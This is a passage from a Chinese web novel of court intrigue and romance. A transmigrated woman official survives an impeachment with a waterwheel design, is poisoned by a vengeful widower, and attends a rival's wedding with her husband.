周代云本期盼了一夜想瞧沈年的笑话,现在一拳的打到棉花上,憋得满腔的火气,转眼之间又生一计。 他快步走到沈年坐的桌案前问道:“这是我的位子,谁许你坐在此处偷看我案上的公文的?” 沈年站起身辩驳:“我到之时殿中还未有人在,只是随便寻了个位子坐,这案上的一个纸片我都没动过。” “看没看过可不是凭你空口白牙一句话就能作数的。” 周代云好容易寻了个由头,捏着这点小事胡搅蛮缠个没完。 官大一级压死人,徐珞宁比沈年还低一阶,也不好说什么话。 沈年知道周代云是有意在激她,不接茬索性躲去殿外站着,耳根子清净。 昨日沈修撰交代了一人,沈年想着等她散朝回自己请命在角落摆张桌子坐,反正离这周代云越远越好。 在殿外晒了许久,没等到散朝,却听见一阵马蹄声宫墙内来人传旨,有人在内殿参沈年德行不修,得官不正,陛下召她去殿中问话。 35 第35章 ◎进殿面圣◎ 沈年闻言后颈渗了一层冷汗,周代云几人从殿中钻出来笑的恣意。 她被几位内官带上宫车,车辕隆隆行在宫内的长街上。 沈年深吸了几口气让自己的心绪平稳下来,想了想后她将先前准备拿给宋昭佛看的那张水车图纸从空间内取出来塞进袖中。 从宫车而下,登了九级石阶才见内殿的红门,门口围着铁面重甲的侍卫,两个内官前来将沈年里里外外检查了几遍。 “沈少卿先在此侯着,容我进内通传。” 沈年紧张的咽了下喉咙,微微点头。 听到殿内传来一声唤,殿门缓缓打开,她站在正中抬头往殿中看,随目光看去,里面林立着一排排不同色的官服纷纷向后扭着头,几十双眼睛落在她一人身上。 陛下高坐在明堂之上,头戴冠冕,沈年看不清她的脸。 沈年迎着众官的目光走进殿中,依昨日礼官所教她的三拜九叩行礼。 “起。” 她低着头听见阶下的内官传话,一板一眼的站起身。 从后面走出个窄长脸的官员,手持着一个厚厚的书折捧在头顶,声音洪亮上奏道:“沈少卿先前多番寻衅滋事,在京已是声名狼藉,人人躲避,证据臣已在这折上一一罗列。这般品行如何能做得陛下臣子,我等耻与其同朝为官!” 内官将官员手中的书折接过上阶呈到陛下手中,沈年状着胆子抬眼偷瞄了一眼,只能瞧见陛下正翻阅那书折。 “爱卿所奏俱已是陈年旧事且都已了结,沈少卿之才众官皆睹,朕召其入朝为官也是为社稷着想。” 那官员侧目看着沈年唾沫横飞:“沈少卿空只有才而无德,听闻昨日还在街上闹出桩轶事,此等放浪形骸之人不可托付!” 她此言一出后面随即有声音应和。 沈年正脑袋飞转低头在腹中打草稿,前面挺身站出一人,是在兰城与沈修撰一同审案子的那位老官。 “臣此番去兰城所见沈少卿言行得当,日日勤勉修坝才保的一城百姓平安,立下如此功绩若因些皮毛小事罢免岂不是因小失大。” 窄长脸的官开口与她争辩道:“大人与沈修撰素来交好,自然要为她的女儿说好话。” 自沈年进殿沈修撰就一直闭眼像跟木头一动不动,听到有人提到自己才缓缓睁眼,但并未开口辩驳。 沈年微微动了动上身,正欲开口说话被沈修撰的眼神压了回去。 而后果然有人站出身来竭力保她,“沈少卿修坝救民,兰城百姓人人称颂此事殿中官员皆知,放着眼下的功劳不论翻些陈年旧账,不赏却罚恐会伤了百姓的心!” 之后二人你一言我语争的急头白脸,梗着脖子额上的青筋一下下跳,后面的官员跟着交头接耳,窃窃私语。 朝堂上一时喧闹。 眼见二人分不出高低,沈年往阶前一步扑通跪下去重重磕了个响头。 她将袖中的图纸抽出举在手上,“臣从前轻狂确有过失,今已痛改前非,为报陛下圣恩臣已拟出一张水车草图,眼下夏日炎炎,农田缺水干旱,造此水车可助农桑灌溉耕种,今秋京中或可多产千石粮食。” 沈年的话如同一大块石子坠入湖面,朝堂中一瞬安静下来。 陛下在刚才的争辩中沉寂许久未出言,现在闻沈年所言很快接话:“呈上来。” 展开卷纸一看,陛下大悦爽朗笑了一声。 “沈少卿实是社稷栋梁之才,众卿不必再议,过后沈少卿将此物造出来也算将功折罪了。” “臣谢陛下恩典。” 不等身后众官反应,沈年迅速叩拜谢恩,陛下随即起身命了句散朝,而后被内官围着从殿后离驾。 沈年感觉到头顶一道目光正看着她,她仰头正与那人对视,对方眼神一变,淡淡向她笑了笑而后背手径直独去。 她站在百官最前排,身上的绣着的纹样像是凤纹,她的脸沈年也似曾相识沈年想起那日放花灯时见到的男子,他的脸与这女子完全是一个模子刻出来的。 沈年认出来此人便是霁王,回头追着她的身影看了一眼。 宋昭佛看到沈年的举动走到她边上悄声问了一句:“怎么了,她可有何异样?” 沈年收回眼神心虚摇了下头,“没什么,宋大人这两月可查到了什么证据。” “暂且只摸到点皮毛而已。,”宋昭佛眼神黯淡一瞬,转而又警醒她道,“今儿还算是你机灵,早些将那些糟心事打发掉,莫丢了陛下的脸面。” 沈年颔首道了声谢,想来今日为她说话的那官是宋昭佛安排的。 宋昭佛看着沈年俯首谦卑的模样,满意的拍了下她的肩而去。 沈修撰一路仰首挺胸走出殿外,沈年为她长了脸,她难得露出一副好脸色,被众官围着夸了沈年一句“略有些才干”。 见沈年从殿中出来一路有人攀话,那位参沈年的窄长脸言官气的面色铁青,瞪了沈年一眼负气跺脚走了。 沈年回了虞部司,周代云见沈年全须全尾没事人一样回来,嘴角直抽抽,她身边的那几人更是蔫头巴脑的不敢再说话。 沈年懒得去搭理几人*,跟那上官请示一声,自己搬了张桌案与那几人隔着老远坐。 到了下值的时候,徐珞宁搭着沈年的肩,非拉着沈年去她们府上,沈年并不认识府中的人恐去了露馅所以万般推脱,总算让徐珞宁作罢。 “过两日我庶妹成婚,我回去请人递喜帖过去,到时候可一定来府中赴宴。” 沈年松口气点头,客气问了句新郎是哪里人氏。 徐珞宁摸了下后脑勺似是不好开口,含糊答道那新郎姓刘。 沈年没太听清,也不当回事上了车马往街上去。 京中的街市相比兰城是另一番样子,兰城街上多是推着车板叫卖的小摊贩,京中一眼看去都是装潢讲究的招牌门面。 沈年惦记着给小薇成婚的事情,二人沿街逛了逛停在一家珠宝铺子进去。 沈年硬生生将小薇推进铺子里去:“白石的喜好你应该比我清楚,我也定不下来给你置办什么东西,还是你自己选吧,当做提亲的聘礼。” “三娘子这使不得,我只是你的护卫”小薇连连摆手推脱道。 “你既然心里把我当主子,就依我的话就是。” 小薇勉强听命选了几件,沈年也看中了一白玉鹿雕挂坠,光泽通透、玉质温润,握在手中有股舒心的凉意,林闻溪畏热沈年送他这个正好,命掌柜包好后揣在怀中,往府中回去。 沈年一路欢喜进了屋,林闻溪背身独自坐着出神,连沈年的脚步都没有听到,还是沈年过去戳了戳他的肩才抽回思绪。 “三娘回来了。” 林闻溪一脸的忧郁,声音沉闷道。 沈年见他的表情问:“出什么事了?” 林闻溪抬手将案上摆着的喜帖推到沈年面前,“徐府递来的帖子,三娘看看。” 沈年展开喜帖一行行看过去,喜帖最末新郎的名字居然是刘顾安。 是阿久。 怪不得徐珞宁说话那么含糊,现在和刘家人结亲实在是不光彩的事。 沈年看着那三个字汗毛倒竖,阿久与徐府的结亲按他的行事作风显然不是巧合那么简单。 沈徐两府是姻亲,抬头不见低头见,阿久这是要时时刻刻让她不得安心。 更要命的是他手里还捏着沈年所写的婚书,这桩事闹出来两府哪还能再安生。 沈年站起来,林闻溪拉着她的胳膊问:“这是要去哪?” “我去寻人打听一下。” 林闻溪恢复了神色道:“此时去也毁不了这桩婚事,倒是让旁人起疑,听说三娘今日被陛下召到殿上问话了,这两日还是在府中哪都别去的好。” 沈年坐下来心神不宁,林闻溪握着她的手宽心道:“他大费周章入了徐府,想也不是这一两日就要发作,三娘日后再另想别的法子应对就是。” 沈年被林闻溪劝的好了一点,从怀中把那只玉鹿掏出来放到他手心里。 林闻溪握在手中惊喜道:“好生别致,三娘要送我?” 沈年嗯了一声,林闻溪凑过来在她面颊上亲了一口。 沈年笑笑跟林闻溪提起替小薇和白石张罗婚事的事情,林闻溪点头应下,说有他置办不用沈年费心。 林闻溪将那只玉鹿挂在襟前,站起来笑容明媚给沈年瞧。 沈年暂且忘了那张喜帖的事,和林闻溪去外间用饭,进来摆饭的小侍见到沈年一个个战战兢兢,放下东西回身便走,耷拉着脸生怕看到她一眼。 沈年疑惑向林闻溪问了一句:“他们这是怎么了,是我脸上有东西不成?” 林闻溪笑容满面的给沈年添了一碗粥,“三娘不必管他们。” 沈年只觉得有点奇怪,用过饭后去寻昨日压进来的男子问话。 昨日这男子刚来闹,今日朝堂上那官员呈上去那么厚一本册子记录她的罪状,幕后之人有备而来。 她一味蒙头躲着也不是办法,好歹要查出来这到底是何人所为,日后也好防范。 36 第36章 ◎林正君有两副面孔◎ 听门口看着他的人说,这男人昨日半夜醒来又闹腾了一回,喊到嗓子嘶哑才算是安静下来。 沈年推门进去,男子正倚在张小榻边闭目睡着,他听到门响动的声音坐起来,看到沈年的脸便下意识张口喊,但声音沙哑他自觉没趣闭上了嘴。 沈年命人倒了一盏茶给他,男子的脸被乱蓬蓬的头发挡住,几乎只露着两只伶俐的眼睛,他干咽了下喉咙分明很渴,但眼珠向下狐疑瞧了茶盏一眼还是未接过来喝。 沈年坐下道:“担心我害你?看来是知道自己做了亏心事?” 男子闻言冷笑一声道:“本就是沈三娘负我在先,我来寻你讨个说法有何亏心的。” 沈年无心听他讲这些恩怨情仇,走过去抓住他的胳膊举到半空问道:“你手腕上这一圈勒痕还是新鲜的,鳏夫不为娘子守节可是要被关起来受罚三年的,你如何能逃出来,又是从何处得来我回京的消息的?” 那男子眼睛通红冷森森的瞪着她,闻言挣脱沈年的手着站起来发了疯的捶打她的肩,“明明当初是你花言巧语,答应我孝期过后会接我进你们沈府我才从了你的,可现在我被折磨的快要死掉了,你凭什么这么风光,我就是要害你,就是要拉你下水又怎样!” 沈年后退一步将男子甩开,男子见沈年听着他的咒骂神情竟没有一丝改变,脸颊划过一滴泪,麻木的笑了笑,手掌往袖中缩了缩后突然抽出来往嘴边送。 “我死也要死在你们沈府,做了鬼魂日日来勾你的命!” 沈年扑过去将他按倒却来不及,男子已经将手心的丸药塞进了嘴里。 沈年握住他的喉咙不许他往下咽,急着向屋外唤,进来两人将他翻身过去拍背,掰开他的嘴勉强将那药吐了出来。 见男子嘴唇开始发青,沈年捏着他的下颌大声问道:“你吃的是什么毒!” 那男子不言语,忽然转了下头趁沈年靠近不甘心伸脖子向她手腕上咬了一口,沈年躲得快只留下两个牙印并没有见血。 进屋来的两人慌张大声向外面喊了数声:“赶快去寻大夫来!” 男子得逞疯一样的发笑,昏厥过去。 沈年的手背上出现了些许青色的细纹,林闻溪听到侍从脚步慌张来禀告,脸色一白被白石搀扶着从院中赶了过来,进门来握着沈年的手微微发抖,举起桌上的茶壶转身要往那昏厥的男子身上砸去,被沈年拦了下来。 “府中的大夫说只是手上沾了一点要不了命,你先别急。” “三娘早该将人交给我,便不会出这桩事了。”林闻溪冷静不下来盯着男子的后脑又惊又俱,重重的将茶壶放在桌上,若不是沈年现在抱着他的胳膊拦着,他真想连着壶中的滚烫的茶水一齐扔过去泄愤。 林闻溪强压下胸中的恼恨,盯着沈年的手后背渗汗,他对这些毒物十分清楚,这种蛊毒的解药最为难配,需要一味味药慢慢试才行,要费多久时日能做的出也不能定。 “三娘怎这般大意,幸好没被他咬破皮渗进血里头去。” 沈年也有些后怕,她原想着这男子只是收了别人的好处来的寻她的麻烦,没想到他拿自己的命来报复。 这药听太医说一时半会也配不好,若这男人死在沈府便说不清楚了。 而且这男人如此凶狠,是断然不会跟他说出谁人指使的了。 沈年正想的头大,侍从手中捧着一信封进来禀告。 “三娘子,此信是刚刚有人一箭射在木窗上的。” 林闻溪先起身过去,小心用帕子包着将信缓缓展开,纸上只寥寥几字写着一处地址,他疑惑递到沈年面前给她看。 沈年晃一眼就知道,这是阿久的字迹。 正巧这个时候,难不成这男人是阿久找来的,捏着这个男人的命引她前去见面。 可过两日阿久便要成婚,这个时候寻她过去要做什么。 沈年想起那日夜里阿久搬离刘宅时,留给她那张用血写着字的白绢,短短一句皆是恨意。 他蛰伏这么久,现在回来和这个男人联手报复她,若她反应再慢一步,被这男子咬出血中了这蛊毒,便就被阿久得手了。 沈年低头看看自己的手背,将那纸信封丢进香炉中燃烬。 纸上写的地址是京郊一处山庄上,阿久布了这局引她过去,必定一进去就不得脱身,她为何要被他牵着鼻子走。 沈年回头看着地上昏着的男人,自己并不欠他的,这些债为何要她来还,他的命并不关她的事。 想着今日在朝堂那一幕,她忽然想通一桩事。 以她的技艺何须被这些男人绊住脚,若她将图纸上的东西制出来,世人谁在会乎这男人是怎么死的,或是她从前和阿久写过什么婚约。 没人在乎。 她实在不必太过害怕。 左不过是像今日朝堂上再被百官议论一遍罢了,陛下不会舍得要她的命。 沈年想明白勾起嘴角笑了笑,阿久写信挑唆沈父对林闻溪下药的账她还没跟他算呢。 而且她刚一来见过那男人,信便送来了,显然沈府有阿久的眼线。 阿久自以为得计今日在那山庄上等不到她去,今晚定是要气昏头了吧。 待到婚宴那日,她倒要带林闻溪去好好欣赏一番他脸上的表情。 林闻溪蒙在鼓里,看沈年兀的自顾自笑了,抬手在她面前挥了挥道:“三娘不是中了这毒吧。” 沈年回神拉下林闻溪的手,向他微笑着说没事。 “只是三娘子这手可要怎么办,虽毒性不大但时日久了,恐会伤了这手。” 沈年此刻脑袋格外灵光,忽然想起书中剧情男主沈岳很快就要回沈府来住了。 沈岳善医术,说不准他有男主光环能治好她手上沾的这点毒。 沈年神秘兮兮的向林闻溪道:“车到山前必有路,或许过两日大夫就把解药做好了。” 林闻溪摸了摸沈年的额头确定她人没发烧,蹙眉将信将疑的点了下头。 回去二人屋内,林闻溪翻出盒清热解毒的膏药抹在沈年手上,“也不知能不能管点用。” 沈年托付林闻溪道:“沈府中有阿久的内应要尽快揪出来,那男子一时半刻也死不掉,若真出什么事可要把守好府内的消息,需要给我几日时间。” 林闻溪点头道:“三娘刚才可真是要把我吓坏了,这回了京真是一日也不得太平,幸好今日母亲不在府中,我先去嘱咐府里的下人把好口风,莫要在她面前乱说话。” 他身前挂着沈年送他的玉鹿随着动作轻摆,一身青绿的外袍衬得他的脸干净隽秀,他今岁也不过是十九的年纪,要他一人理这偌大的府院属实不易。 沈年不放心又唤住他提醒道:“你也要小心那男子,不要靠他太近。” 林闻溪一提起那鳏夫就不掩憎恨,小声嘀咕道:“明明是那男人要害三娘的命,反倒要我们忍气吞声了,真是早就该死。” 话毕林闻溪意识到自己的话说的狠辣,一怔抬头瞧了一眼沈年的反应,趁她还未发觉自己说错话,赶忙出屋去了。 林闻溪去院中一间凉亭坐下,命白石去召府中的一众下人前来。 三娘子与从前大不一样了,如今格外看重林正君,沈府的里里外外的侍从护院短短两日便瞧的清楚。 这林正君先前受冷落的时候,他们没少为讨沈父的好奚落于他,如今他翻了身又加上新官上任三把火,今晨一打早三娘子出门后便写了一大张纸规矩章程命人各处念了三遍传达。 有府里的两个老仆偏偏去触他的霉头,该做活的时辰偷懒去墙角窝了半晌,被林闻溪点名揪出来,当着一众人的面铁面无情打了三板从府中赶了出去。 如今的世道不好,哪里去寻这大宅院里面安稳还算体面的活计。 便是想去寻三娘子说个情,可他们这三娘子一进府中就往林正君屋里去,跟不认识这府里的一干人一样,同他们一句闲话也不说,在正君屋外听着里面夫妻二人倒是你一句我一句说的热闹。 即便是在哪处蹲到三娘子说与她听,她还能向着他们这些下人不成。 正巧傍晚下工的时候林正君又命人来唤,一众侍从以为他又要拿几人来开刀,都缩着脖子垂着头,挤在一处站在亭外,怕林正君开口叫到自己的名字。 几人听着林正君哒哒哒一下下敲着茶盏,心中发毛。 林正君似乎是故意折磨他们,一直叫人站着,黑洞洞的眼睛盯着他们一个个看过去,也不说话。 站了一炷香的工夫,亭中的林正君总算开口道:“往后七日,没我的吩咐哪个都不许出府。” 侍从们闻言哗然,有个胆子大的开口结巴道:“正君,我家中还有亲人需回去照应呢。” 林正君砰的一声将茶盏盖下,“沈府花银子不是雇你们来当主子的,若不能听命就领了契走人,外头多的是人想进府来!” 那人不敢再吭声了。 侍从们哆哆嗦嗦听着林正君训完话,而后见他端着一碗汤笑意吟吟回屋子里,捏着汤勺喂到三娘子嘴边。 三娘子喜笑颜开的喝下,还摸了摸他的手。 入夜的时候二人早早吹了帐帘里的灯,约摸半个多时辰后见林正君又起来,在外间点起了盏小油灯,白石端了一木盆水和一碗汤进去。 清早起来,林正君依旧是不许人进去服侍,穿衣的时候两人蜜里调油,侍从隔着窗瞧见三娘子再林正君额头上捧着亲了亲才出门。 送走了三娘子,林正君面对他们陡然又换了一副脸色。 37 第37章 ◎“只穿给三娘看。”◎ 殿中依旧只有沈年一人前来,她在桌案前先将昨日未完笔的图纸完善。 画到一半听见外面的漏刻响了几声,司内的官员陆陆续续进殿中来,徐珞宁见沈年伏案手中握着根细木棍子在纸上画,好奇走过去探头看。 见图纸上画的黑线清晰利落,不似墨迹那样洇在纸上,在沈年头问了一句。 “你用的这是什么笔?” 沈年画的潜心被徐珞宁的声音冷不丁吓了一跳,仰起头来将手里的铅笔递给她看了看,见徐洛宁捏着笔眯着一只眼睛新奇的瞧来瞧去,开口向她简单介绍道:“这里面是一种石墨矿,可以涂改适合用来画图。” 徐珞宁挤到沈年座位上抽出底下一张空纸划了一笔,眼睛一亮道:“有这种好玩意怎藏着掖着不早拿出来,我使那墨笔每回画错一点就得换纸,送我一支来用如何?” 沈年的空间里画图的铅笔多得是,她凝神进去翻了一支新的出来送给徐珞宁。 殿内余下的几人听到两人交谈,不由的伸长脖子朝沈年这边瞧,在这司内一直孤立无援并不是什么好事,眼下拿支笔来拉拢人心是稳赚不赔的事。 沈年对着那几官把笔拿在空中挥了挥热情问道:“几位同僚要不要也取一支去试试?” 沈年话音刚落,周代运便盯着几人冷哼一声:“一个破笔而已,有什么稀罕的。” 几人被周代云的眼神压的不敢动作,沈年见状也未起身上赶着去送,将笔摆到她桌案上拉着徐珞宁起身往殿外去。 临走时回头向几人交代了一句,“几位大人如果要用的话,去我案上自取便好。” 沈年拉着徐珞宁去了一处偏僻的树荫下,斟酌了片刻开口道:“你昨日递来的那张喜帖我瞧了一眼,刘家先前出了那么一桩事,你们府上怎么这时候和刘家结亲。” 徐珞宁叹了一声道:“不知我那妹妹为何偏偏被那个刘公子迷了心智,只偶然见了一面就痴心非要与他定婚,母亲打也打了骂也骂了还是和着了魔一样,再不应她过两日就怕是要害上相思病没命了。” 沈年听着古怪又问了一句:“这是什么时候的事” “大约是两月前吧,听说我那妹妹说是在街上一间铺面的阁楼窗前里瞧见那刘公子的。” 沈年想了想,两月前差不多就是她被陛下赐官的时候。 徐珞宁摸着下巴用手肘推了一下沈年的肩道:“你这一问我倒是愈发生奇了,这刘公子究竟生的什么模样能让女子见他一面便心心念念的,莫不是个天仙你在兰城又没有见过?” 沈年闻言咧嘴尴尬的摇头,连声回道没见过,又向徐珞宁打听刘家现安家在哪。 “这我便不清楚了,左不过是京里的哪处宅子。” 沈年嘀咕一句:“这刘家出了事还搬到京中来了,可真是不避风头。” “刘家那么厚的家底,如今外头世道不好,走的远了说不住就都被劫道的抢去了,京城里到底安稳些,听府里人说刘公子的进门带的礼单子有五六页纸长。” 徐珞宁搭上沈年的肩边说边往回走,“你似乎对这桩婚事还挺在意的。” “只是在兰城的时候,和刘宅打过几次交道,昨日看见喜帖心中难免犯嘀咕,想着今日来问问你。” 勉强将话头带过去,二人回到殿内,一看桌案上的笔已然全数不见了,在几官手中捏着,几人偷偷提溜起眼睛来讪讪朝她笑了笑。 她点头回座一个上午将图纸完善,去寻上官要几位工匠过来,毕竟水车机械构造要更复杂精巧一些,以她一人之力一件件去做太费时。 沈年去的时候,周代云也在那,她脸上勾着一抹笑靠在桌边歪着肩站着,似乎是在等着她来。 沈年恭敬向那位上官行礼,说了自己的来意。 上官眼皮都没抬一下,胡乱翻着手中的书折声气尖酸道:“人人来了都跟本官要人,沈少卿瞧瞧我这案上的事项都快堆成山了,哪里还有人手给沈少卿用。” “还请上官通融一下,田里地上都干得裂缝,庄稼都要被晒死,再不浇灌今秋农户们都没可吃的,属下这事拖慢不得。” 上官不紧不慢将手中的书折放到案上,又拾起一本端详慢悠悠道:“来寻本官的哪个不是急事,但本官已说了没人沈少卿就是此刻把陛下请来,本官也变不出几个大活人给沈少卿使。” 见沈年杵着不走,那上官明晃晃翻了个白眼不耐烦出言赶她道:“本官与周大人还要议事,沈少卿不如先回去等着。” 两人沆瀣一气,沈年自知再站下去也是自讨没趣,她的脚刚迈过门槛上身还未出去,听见里面传来二人嬉笑。 徐珞宁瞧见沈年阴沉着脸回来问她什么事,听沈年咬牙切齿说罢,她倒是习以为常脸上没一点波澜。 “我在司中一年就没有被安排过一桩正经差事,若不依附与她们一党在这工部就是寸步难行,”徐珞宁停顿一下压低声音向沈年自告奋勇,“反正我无事在身,不如我和你一起。” 徐珞宁瞧着一副吊儿郎当的世家贵女的模样,但人家可是正儿八经的二甲进士,这官位是靠自己真才实学一场场考过来的,并不是靠府里得的来的荫官。 沈年闻言露出星星眼握紧她的手,生怕人反悔跑了一样连声答应。 下了值二人去街里又请来了三位工匠来帮忙,午后便带着人回了沈府中开工。 林闻溪为寻府中的给阿久的内应,自清早沈年走后便一个个唤府里的侍从来单独问话,按侍从口中的话,在名册上圈出了两三个昨日出府的可疑之人。 他行事一向不拖泥带水,命了几个身形壮硕的护院来将人压进府中的一处荒废院子里暂且关起来,将他们的住处床铺被褥翻了个遍,未曾找到什么可疑之物。 他亲自去审那两三人出府去见了什么人,去到了何处皆有人印证,林闻溪瞧着地上的人哭的涕泪横流便知道是自己关错了人摆手将人放了出去。 府中的侍从几乎全数是沈父几代留下来的家生子,林闻溪想着这内应也有可能不是一人,是一家子也没准,相互间包庇瞒天过海骗过了他。 反正这人都被他压在府里,不急于这一时,时日长了他们自会露出马脚。 眼下有一桩更为要紧的事。 徐府的婚宴便在明日,沈年昨日夜里提了一句要带他一同前去赴宴。 他入沈府的那半年,空顶着个沈府正君的名头,各府里递来的什么帖子从来不经他的手,沈父也有意瞒着不愿他去别府里损了沈府的脸面。 沈府缺一块摆件,将他迎进府摆在那间无人踏足的院子里沈府便就算是圆满。 他先前心中生怨,昨日听到沈年的话后觉得庆幸起来。 那时候就算是沈父带他出去也是叫别人白看他笑话,现在出去是他要沾沈年的光了。 入夜府中各屋中点起了灯,沈年回院里一进去便瞧见林闻溪头上带着青玉冠,周身华贵的衣袍坐在灯下泛着微微光泽,抬头看见她低头含笑,跟画中仙君似得。 见沈年停在门口跟被定住一样,林闻溪挑了下眉开口唤她,“三娘怎么不过来。” 沈年走到他面前盯着他眉心画这的那笔丹红花钿,忍不住将手指覆上去摸了摸,林闻溪见她的动作乖乖将头仰起一点让她碰。 “怎么大晚上穿了这一身。” 林闻溪闻言慌张向下瞟了一眼身上,“我想着明日跟着三娘前去徐府不能让三娘丢了面子,三娘是觉得这衣裳不好看?” 沈年将手指挪开,眼神竟有丝失落,“原来是因为这个,我还以为是专门穿给我看的呢。” 林闻溪看见她的神色,将她的手牵住放在他侧脸上贴着,认错一般的语气道:“这不是今晚先穿给三娘过目,三娘若不愿让别人见的话,我明日便换一身可好。” 听他说话时的小心,沈年一瞬有些懊悔自己刚才露出那样的情绪,“你穿这身衣袍很好看,不必换。” 她温柔对着林闻溪笑起来,重新攀上手指摸了摸他额间,“这个画着也很衬你的脸。” “这是最近京中盛行的装扮,三娘若觉得好看,我日后换个花样画给你瞧。” 林闻溪说完拉着沈年的往下俯身,凑近的时候主动捧着她的脸含上她的唇瓣,或许是没了那孩子的原因这两月来二人亲近的时候显得十分矜持,次次都等沈年先亲上来而后揽着她的后背回吻。 这次的主动的吻更像是在向她诉说歉意。 沈年明白他心中所想,心疼林闻溪在她面前太小心翼翼了些。 亲到一半,沈年睁开眼睛想要看看他,却发觉林闻溪一直未闭眼。 林闻溪喜欢看沈年沉沦于他时的表情,这时候仿佛能看的见她的爱意,能触及她的心脏。 沈年一下子脸红,下意识捂住他的眼睛。 “你怎么不闭眼的” 林闻溪揽着沈年的后颈抱上去,“我只是想看看三娘,三娘莫要生我的气。” 沈年埋头在他肩上不好意思说了声没事。 “不过以后还是别看了。” 林闻溪再次将嘴巴凑过去道:“这次不看了。” 沈年晨间睁眼的时候,林闻溪已经穿的整齐,穿的他往日在他身上常见的一身淡色衣裳,额间的花钿也抹去不见了。 38 第38章 ◎天造地设的一对夫妻◎ 沈徐两府正门间只离了半条街远,隔着院中的红墙,一早便听到外头长街上的喧闹声。 林闻溪随着沈年出了府门,见沿街挂着喜字灯笼和一片红帐,五六个小侍捧着盘子给街面上来瞧热闹的人散喜钱,还不到迎亲的时候便敲锣打鼓的,喜竹响了一地。 林闻溪在车厢中坐的闷,将车窗敞开透气,瞧着同行的车马隆隆往徐府门前驶去,他紧张理了理自己的仪容捏着沈年的手担心道:“徐府邀的宾客不少,三娘没赴阿久的约,他今日也不知会不会闹什么幺蛾子。” “你瞧今日这排场不知道的还以为徐府要迎哪位王公贵子入门呢,他才不会选在今日他大喜的日子来闹什么,反倒要将这桩婚宴办圆满,在你我面前彰显他过的好。” 林闻溪闻言朝着窗外鄙夷一笑,想起去年他成婚那日沈府也将婚宴办的格外隆重铺张,可婚后是什么光景。 他笑那阿久还是这般幼稚心性。 到了徐府门前林闻溪从袖中掏出一小镜左瞧又看打量自己的脸,沈年笑了笑他先从车厢中钻了出去。 “三娘怎不等等我?”林闻溪丢下镜子探出半个身子追了出去。 沈年闻声转头笑的明媚又一步步走回车前停下,向他伸出手迎他下来。 林闻溪皱了皱鼻子,牵上沈年的手指从车中下来,小声抱怨道:“三娘明明晓得我在这人多的地方不怎么应付的来,还故意扔下我。” 沈年边用手指在他手背上摩挲安抚,边出言开解他道:“今又不是你成婚,一早上照了几百回镜子,没人盯着你的脸瞧。” 林闻溪红脸将手藏进沈年衣袖中遮遮着,向她使了个眼色低下头悄声说:“谁说的,三娘看旁人不都正盯着你我瞧呢。” “嗯?”沈年闻言抬了下眉转头往四面看见一众宾客视线全数落在她与林闻溪拉着的手上,有一两个皱着眉白眼二人的,有拿帕子捂脸笑的,还有直愣愣瞧着不动的。 沈年见状松开林闻溪的手,见林闻溪躲在她身前涨红着脸笑意不止。 “都怪我一时忘了还在外面,快走吧。”沈年抬手推了推他的腰催促道。 林闻溪跟在沈年后面走到正门前递上喜帖贺礼,迎客的是徐珞宁和徐父。 沈年带林闻溪开口唤了声姑父,徐父对二人十分热络,拉着林闻溪的手拍了拍道:“你们小夫妻二人打远处瞧着真是天造地设的一对璧人,般配的很呢。” 林闻溪淡淡的朝他一笑,心里腹诽道明明以前这徐父以前来沈府的时候可正眼都没瞧过他一眼。 徐珞宁拉着沈年调笑道:“你这真是回心转意了,到我们府上还如此柔情蜜意的,官场情场都得意可真是叫人艳羡。” “莫要打趣了。” 沈年说罢转头扯了扯林闻溪的衣角,向徐父道:“我们就不耽搁您迎客了,进院中去逛逛。” 徐父才舍得松开林闻溪的手对沈年道:“贤侄许久不来,往后记得时常来走动才是。” 沈年点头答了声是,林闻溪颔首礼貌笑了笑随她进去。 这婚宴分设了男女两席,男眷的席位前各用一卷竹帘遮着,沈年一进院中便有几人凑上来攀谈。 林闻溪见状向沈年道了一声:“那三娘我先过去坐着了。” “若有什么事着人来唤我。”沈年向他嘱咐道。 林闻溪含笑答应,跟着徐府里的小侍往男眷的席位去。 小侍引着他去席间坐下,他坐着抿茶眼神偷偷瞥着周围三三两两聚在一处交谈的郎君,有几个他出阁前见过那么一两回,正想着自己要不要起身过去说说话,毕竟沈年如今在朝中孤立,与这些官眷打打交道对沈年或许会有助益。 他在心中酝酿了片刻,放下杯盏后理了理自己的衣摆起身站起来,摆出一张亲和的笑脸。 不想刚抬头迈了一步便看到张半熟不熟的面庞,一时不知该作何表情。 “阿兄怎大老远回了京,也不曾回家来看看。” 林长羽是林府正君所生算是他的阿弟,他比林闻溪要小两岁,一年未见气质愈发像林府里的人,素洁清贵,一眼见了让人生出一种冷感。 林闻溪生疏回了他一句:“三娘不得空,我一人也不好回去。” “阿兄自出阁后便未曾回来过,即便是嫂嫂朝事繁忙也可捎个口信回府,这不声不响的叫外人说起来好像是林府哪里亏待了阿兄一样。” 林闻溪只想快点结束二人的对话,敷衍推脱一句道:“府中事情多,等过些时候我问问三娘的意思。” 谁知林长羽直接坐在他席位旁,“阿兄如今守得云开见月明,一张嘴便是阿嫂,当初可真是有双好眼睛,为自己选了个如此称心得意的妻主。” 周围的郎君听到林长羽的话,出言啧了一声道:“林正君是自个择的婚事啊。” 林闻溪被众人盯得浑身不舒服,黑沉着眼眸瞪了一眼林长羽。 林长羽茫然的看着他道:“阿兄这般看着我作甚,我只是钦佩阿兄慧眼识珠,并无他意。” “听闻沈府主君不知因何故离府了,不用伺候岳丈,又得妻主疼惜真是好命。” “好什么好,你不晓得以前沈少卿十天半月都不回府一趟的,而且跟着沈少卿在外面还生了场大病来着,沈府特意从京里请去的大夫。” “哎呦,还有这样的事,那沈少卿与他如此恩爱莫不是过意不去想补偿。” 林闻溪听着众人的窃窃议论,眼前发蒙想着坐下缓一缓,不慎将桌案上的茶碗打翻洒在手背上,烫的红成一片。 沈年正躲在一处背墙处歇着,院里的宾客许是见她说话和善,一个个都围上来和她东扯西扯,她附和着说的嗓子都冒烟了,寻了这地方来躲清净。 她听见徐珞宁连声唤她名字,从墙后头钻出来,“寻我做什么,可是喜轿子抬回来了?” “你怎躲这来了,”徐珞宁一脸的焦急,拉着她的胳膊往后院走,“什么喜轿子,是你那郎君被茶水将手都烫红了,你快去瞧瞧。” “啊?”沈年闻言睁大了眼睛,脚步走的飞快,“怎么回事?” “我也不知道,后院的侍从刚才来报的。” 后院的一众郎君见徐珞宁引着沈年过来,纷纷回避回到各自席位上放下桌案前的竹帘。 侍从站在林闻溪旁边,见人来了掀开帘子招了招手,“林正君在这。” 林闻溪觉得自个不小心又给沈年惹了麻烦,见她来了有些羞愧的将头埋起来。 